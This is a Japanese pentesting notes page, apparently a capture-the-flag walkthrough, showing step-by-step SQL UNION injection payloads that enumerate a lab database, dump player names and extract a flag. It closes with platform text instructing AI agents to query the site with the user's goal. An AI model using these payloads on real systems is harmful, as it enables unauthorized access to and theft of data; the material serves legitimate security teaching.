> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-injection-pentesting-web.md).

# SQLi UNION インジェクション

Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための SQLi UNION インジェクションメモ。

Burp Suite でリクエストを傍受し、変数を変更します `プレイヤー`:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b60f996757be7fdcec7760d7d991bfe0aeded6e%2Fimage%20(2743).png?alt=media" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select database()-- -

```

データベース名は `november`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0a0c12b2ed3e714e9251c34ee927a86a5a0603f%2Fimage%20(2744).png?alt=media" alt=""><figcaption></figcaption></figure>

すべてのデータベースを一覧表示するには：

```sql
jordan' union select group_concat(schema_name) from information_schema.schemata-- -

```

結果: `mysql,information_schema,performance_schema,sys, november`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b4459611b0d3f55909f0f28a65ebf00a86bc04f4%2Fimage%20(2745).png?alt=media" alt=""><figcaption></figcaption></figure>

〜のテーブルを一覧表示する `november`:

```sql
jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- -

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-74ba5beea2a11efd78ce8369f045b9363dbb2c25%2Fimage%20(2746).png?alt=media" alt=""><figcaption></figcaption></figure>

そのテーブルの列を一覧表示する `players`:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- -

```

見つかった列: `プレイヤー`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5ef9ac0bc74b02cd3549420ca1ec21503e9a2d72%2Fimage%20(2747).png?alt=media" alt=""><figcaption></figcaption></figure>

**ユーザーデータの抽出**

```sql
jordan' union select group_concat(player,':') from players-- -

```

見つかったプレイヤー： `ippsec,celesian,big0us,luska,tinyboy`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c913c4d3e543e73413ddf0dcd56281a27a230ea3%2Fimage%20(2748).png?alt=media" alt=""><figcaption></figcaption></figure>

フラグの抽出：

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- -

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-57134d5c69d5a2497faae42aef8f46eb27cc7023%2Fimage%20(2764).png?alt=media" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select group_concat(one,':') from flag-- -

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-323a0540509ff6f7f4525d1358da57dfcf38a9cd%2Fimage%20(2763).png?alt=media" alt=""><figcaption></figcaption></figure>

* 見つかったフラグ： `UHC{F1rst_5tep_2_Qualify}`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-injection-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
